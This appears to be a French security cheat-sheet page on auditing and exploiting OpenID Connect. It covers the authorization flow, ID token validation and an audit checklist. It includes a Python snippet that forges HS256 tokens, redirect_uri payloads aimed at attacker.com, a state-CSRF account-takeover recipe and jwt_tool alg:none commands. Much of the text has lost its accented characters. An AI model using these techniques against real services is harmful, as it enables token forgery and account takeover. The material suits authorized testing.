oidcopenid-connectoauth
MDstable
OpenID Connect — Audit & Exploitation
OpenID Connect (OIDC) : flux d'autorisation, claims, vulnérabilités et exploitation — en complément des attaques OAuth 2.0
snippetadvanced 2026-05-30 5 min read
oidcopenid-connectoauthjwtssoauthenticationweb
OIDC vs OAuth 2.0
OAuth 20 Dlgation dAUTORISATION accder une ressourceOpenID Connect Couche dAUTHENTIFICATION sur OAuth 20"Qui es-tu ?" via un ID Token JWT
Composants OIDC
Relying Party RP Application clienteOpenID Provider OP Serveur didentit Google Azure AD KeycloakID Token JWT sign contenant l'identité de l'utilisateurUserInfo endpoint endpoint renvoyant les claims utilisateur
Flux Authorization Code (PKCE)
1 RP OP GET /authorizeresponse_typecode&client_idCLIENT_ID&redirect_urihttps//app.com/callback&scopeopenid profile email&stateRANDOM_STATE&nonceRANDOM_NONCE Protection replay attacks&code_challengePKCE_HASH PKCE protection interception&code_challenge_methodS2562 OP Utilisateur page de login3 Utilisateur OP credentials4 OP RP 302 redirecthttps//app.com/callbackcodeAUTH_CODE&stateRANDOM_STATE5 RP OP POST /tokengrant_typeauthorization_code&codeAUTH_CODE&redirect_urihttps//app.com/callback&code_verifierPKCE_VERIFIER6 OP RP"access_token" "...""id_token" "eyJ..." JWT sign"token_type" "Bearer""expires_in" 36007 RP OP GET /userinfoAuthorization Bearer ACCESS_TOKEN
ID Token — Structure JWT
Header "alg" "RS256" "kid" "key-id"Payload"iss" "https://accounts.google.com" // Issuer"sub" "1234567890" // Subject user ID"aud" "client_id" // Audience"exp" 1716739200 // Expiration"iat" 1716735600 // Issued At"nonce" "RANDOM_NONCE" // Anti-replay"email" "user@example.com""email_verified" true"name" "John Doe""picture" "https://..."
Validation obligatoire côté RP
Vrifier la signature cls JWKS de lOPVrifier iss issuer attenduVrifier aud client_id de lapplicationVrifier exp > nowVrifier nonce nonce envoy initialementVrifier at_hash si access_token prsent
Vulnérabilités OIDC
1. Validation du nonce absente → Replay Attack
ScnarioIntercepter un ID Token valide dune session prcdenteLe rejouer si le serveur ne vrifie pas le nonceTestRutiliser un ancien ID Token aprs dconnexionSi accept nonce non vrifiImpact Usurpation de session
2. Validation de l'issuer (iss) absente
ScnarioOP malveillant met un ID Token avec sub valideLapplication ne vrifie pas issExploitationCrer un compte sur evil-op.com avec subadmin_user_idSoumettre l'ID Token à l'application cibleTestModifier iss dans le JWT si accept vulnrable
3. Confusion d'audience (aud)
ScnarioID Token destin App A utilis contre App BApp B ne vrifie pas que aud son propre client_idTestObtenir un token valide pour App ASoumettre App BSi accept confusion daudience
4. Algorithm Confusion (RS256 → HS256)
python
# Si le serveur accepte HS256 alors que configuré RS256 :# Signer le JWT avec la clé publique RS256 comme secret HS256import jwt, requests# Récupérer la clé publique JWKSr = requests.get('https://op.target.com/.well-known/jwks.json')public_key = extract_public_key(r.json())# Forger token HS256 signé avec clé publique RSAforged = jwt.encode({"sub": "admin", "iss": "https://op.target.com", "aud": "client_id"},public_key,algorithm="HS256")
5. State parameter manquant → CSRF sur le flux OAuth
# Sans state validé, l'attaquant peut forcer une liaison de compte# Exploit :1 Initier un flux OIDC obtenir le code AUTH_CODE2 Stopper avant la redirection3 Faire cliquer la victime surhttps//app.com/callbackcodeATTACKER_CODE&state4 La session victime lie le compte de lattaquantAccount takeover
6. redirect_uri non validé
bash
# Tester des variationsredirect_urihttps//attacker.comredirect_urihttps//app.comattackercomredirect_urihttps//app.com.attacker.comredirect_urihttps//app.com/callback/../../../attacker/path# Si accepté → code d'autorisation envoyé à l'attaquant
7. Sub claim prévisible ou réutilisable
# Si sub = email ou identifiant devinable :# Créer un compte avec sub correspondant à une victime# sur un autre OP accepté par l'application (IdP confusion)
Découverte OIDC — Endpoints
bash
# Discovery document (RFC 8414)curl https//op.target.com/.well-known/openid-configuration# Réponse contient :"issuer" "https://op.target.com""authorization_endpoint" "https://op.target.com/oauth/authorize""token_endpoint" "https://op.target.com/oauth/token""userinfo_endpoint" "https://op.target.com/oauth/userinfo""jwks_uri" "https://op.target.com/.well-known/jwks.json""scopes_supported" "openid" "profile" "email""response_types_supported" "code" "token" "id_token""grant_types_supported" "authorization_code" "implicit"# Clés publiques JWKScurl https//op.target.com/.well-known/jwks.json
Checklist d'audit OIDC
Discovery document expos et conformePKCE obligatoire pour clients publicsstate valid anti-CSRF)nonce valid anti-replay)redirect_uri strict pas de wildcardiss vrifi dans lID Tokenaud vrifi dans lID Tokenexp vrifi et dlai court <Signature RS256 vrifie alg not accepted none HS256Algorithme fix ct serveur pas depuis le header JWTToken_endpoint accessible uniquement depuis backend pas depuis JSRefresh token rotation activeRvocation de token implmente /revoke endpoint
Outils de test
bash
# jwt_tool — manipulation de tokens JWT/OIDCpython3 jwt_toolpy TOKEN -T # tamper modepython3 jwt_toolpy TOKEN -X a # alg:nonepython3 jwt_toolpy TOKEN -X k # key confusion RS256→HS256# Burp Suite extensions# → JWT Editor : modifier/resignter les tokens# → OIDC Scanner : découverte et test automatique# oauth2-proxy testcurl -v "https://target.com/callback?code=TEST&state=INVALID"# Observer si state validé
OPS·BRAIN v1.092 notes · Securitylocal